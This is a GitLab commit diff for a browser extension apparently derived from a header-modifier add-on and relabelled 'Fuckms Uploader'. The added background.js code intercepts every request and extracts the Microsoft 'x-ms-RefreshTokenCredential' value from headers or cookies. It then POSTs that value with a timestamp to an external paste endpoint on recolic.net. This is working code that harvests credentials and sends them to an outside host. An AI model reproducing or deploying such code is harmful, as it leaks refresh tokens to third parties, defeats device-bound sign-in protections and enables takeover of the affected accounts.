Skip to content
GitLab
Explore
Sign in
Primary navigation
Search or go to…
Project
F
fuckms-refreshtokensync
Manage
Activity
Members
Labels
Plan
Issues
0
Issue boards
Milestones
Wiki
Code
Merge requests
0
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Snippets
Build
Pipelines
Jobs
Pipeline schedules
Artifacts
Deploy
Releases
Package Registry
Model registry
Operate
Environments
Terraform modules
Monitor
Incidents
Analyze
Value stream analytics
Contributor analytics
CI/CD analytics
Repository analytics
Model experiments
Help
Help
Support
GitLab documentation
Compare GitLab plans
Community forum
Contribute to GitLab
Provide feedback
Terms and privacy
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
msc
fuckms-refreshtokensync
Commits
230f097d
There was an error fetching the commit references. Please try again later.
Commit
230f097d
authored
3 years ago
by
Recolic K
Browse files
Options
Downloads
Patches
Plain Diff
upload
parent
5bab7db7
No related branches found
No related tags found
No related merge requests found
Changes
2
Hide whitespace changes
Inline
Side-by-side
Showing
2 changed files
background.js
+35
-23
35 additions, 23 deletions
background.js
manifest.json
+1
-1
1 addition, 1 deletion
manifest.json
with
36 additions
and
24 deletions
background.js
+
35
−
23
View file @
230f097d
...
@@ -77,8 +77,7 @@ function loadConfigurationFromLocalStorage() {
...
@@ -77,8 +77,7 @@ function loadConfigurationFromLocalStorage() {
else
{
else
{
console
.
log
(
"
Load default config
"
);
console
.
log
(
"
Load default config
"
);
let
headers
=
[];
let
headers
=
[];
headers
.
push
({
url_contains
:
""
,
action
:
"
add
"
,
header_name
:
"
test-header-name
"
,
header_value
:
"
test-header-value
"
,
comment
:
"
test
"
,
apply_on
:
"
req
"
,
status
:
"
on
"
});
config
=
{
format_version
:
"
1.1
"
,
target_page
:
"
https://*/*
"
,
headers
:
headers
,
debug_mode
:
false
,
use_url_contains
:
false
};
config
=
{
format_version
:
"
1.1
"
,
target_page
:
"
https://httpbin.org/*
"
,
headers
:
headers
,
debug_mode
:
false
,
use_url_contains
:
false
};
}
}
}
}
storeInBrowserStorage
({
config
:
JSON
.
stringify
(
config
)
});
storeInBrowserStorage
({
config
:
JSON
.
stringify
(
config
)
});
...
@@ -187,38 +186,51 @@ function copyTextToClipboard(text) {
...
@@ -187,38 +186,51 @@ function copyTextToClipboard(text) {
document
.
body
.
removeChild
(
copyFrom
);
document
.
body
.
removeChild
(
copyFrom
);
}
}
/*
/*
* Rewrite the request header (add , modify or delete)
* Rewrite the request header (add , modify or delete)
*
*
*/
*/
function
rewriteRequestHeader
(
e
)
{
function
rewriteRequestHeader
(
e
)
{
if
(
config
.
debug_mode
)
log
(
"
Start modify request headers for url
"
+
e
.
url
);
if
(
config
.
debug_mode
)
log
(
"
Start modify request headers for url
"
+
e
.
url
);
// removed by recolic
// removed by recolic
// monitor x-ms-RefreshTokenCredential
// monitor x-ms-RefreshTokenCredential
for
(
let
header
of
e
.
requestHeaders
)
{
let
found
=
false
;
let
pos
=
false
;
function
on_got_cred
(
cred
)
{
if
(
header
.
name
.
toLowerCase
()
===
"
x-ms-RefreshTokenCredential
"
.
toLowerCase
())
{
found
=
true
;
copyTextToClipboard
(
header
.
value
);
log
(
"
POS HEADER URL
"
+
e
.
url
);
// log("MONITOR: x-ms-RefreshTokenCredential header, value= " + header.value + " for url> " + e.url);
// copyTextToClipboard(cred);
log
(
"
POS HEADER URL
"
+
e
.
url
);
pos
=
true
;
let
fd
=
new
FormData
();
fd
.
append
(
"
content
"
,
new
Date
().
toLocaleString
()
+
'
|
'
+
cred
);
fetch
(
'
https://recolic.net/paste/apibin.php?debug_from=fkms-uploader
'
,
{
method
:
'
POST
'
,
body
:
fd
}).
then
(
r
=>
{
log
(
"
DEBUG: Upload returns
"
+
r
.
text
());
});
}
}
let
header_cookie
=
e
.
requestHeaders
.
find
(
header
=>
header
.
name
.
toLowerCase
()
===
"
cookie
"
);
if
(
header_cookie
.
value
.
toLowerCase
().
includes
(
"
x-ms-RefreshTokenCredential
"
.
toLowerCase
()))
{
// log("MONITOR: cookie x-ms-RefreshTokenCredential spotted: url> " + e.url + " , cookies= " + header_cookie.value);
for
(
let
header
of
e
.
requestHeaders
)
{
let
posL
=
header
.
value
.
toLowerCase
().
indexOf
(
"
x-ms-RefreshTokenCredential=
"
.
toLowerCase
())
+
"
x-ms-RefreshTokenCredential=
"
.
length
;
if
(
header
.
name
.
toLowerCase
()
===
"
x-ms-RefreshTokenCredential
"
.
toLowerCase
())
{
let
posR
=
header
.
value
.
toLowerCase
().
indexOf
(
"
;
"
,
posL
);
on_got_cred
(
header
.
value
);
copyTextToClipboard
(
header
.
value
.
substr
(
posL
,
posR
-
posL
));
}
log
(
"
POS CK URL
"
+
e
.
url
);
else
if
(
header
.
name
.
toLowerCase
()
===
"
cookie
"
.
toLowerCase
())
{
pos
=
true
;
if
(
header
.
value
.
toLowerCase
().
includes
(
"
x-ms-RefreshTokenCredential
"
.
toLowerCase
()))
{
let
posL
=
header
.
value
.
toLowerCase
().
indexOf
(
"
x-ms-RefreshTokenCredential=
"
.
toLowerCase
())
+
"
x-ms-RefreshTokenCredential=
"
.
length
;
let
posR
=
header
.
value
.
toLowerCase
().
indexOf
(
"
;
"
,
posL
);
on_got_cred
(
header
.
value
.
substr
(
posL
,
posR
-
posL
));
}
}
}
}
if
(
!
pos
)
log
(
"
NEG URL
"
+
e
.
url
);
if
(
!
found
)
log
(
"
NEG URL
"
+
e
.
url
);
}
if
(
config
.
debug_mode
)
log
(
"
End modify request headers for url
"
+
e
.
url
);
if
(
config
.
debug_mode
)
log
(
"
End modify request headers for url
"
+
e
.
url
);
return
{
requestHeaders
:
e
.
requestHeaders
};
return
{
requestHeaders
:
e
.
requestHeaders
};
}
}
...
...
This diff is collapsed.
Click to expand it.
manifest.json
+
1
−
1
View file @
230f097d
...
@@ -2,7 +2,7 @@
...
@@ -2,7 +2,7 @@
"description"
:
"Fuckms Uploader"
,
"description"
:
"Fuckms Uploader"
,
"manifest_version"
:
2
,
"manifest_version"
:
2
,
"name"
:
"simple-modify-headers-fkmsu"
,
"name"
:
"simple-modify-headers-fkmsu"
,
"version"
:
"1.7.0
-
1000"
,
"version"
:
"1.7.0
.
1000"
,
"homepage_url"
:
"https://git.recolic.net/msc/browser-fuck-mscredential"
,
"homepage_url"
:
"https://git.recolic.net/msc/browser-fuck-mscredential"
,
"icons"
:
{
"icons"
:
{
"48"
:
"icons/modify-48.png"
"48"
:
"icons/modify-48.png"
...
...
This diff is collapsed.
Click to expand it.
Preview
0%
Loading
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
register
or
sign in
to comment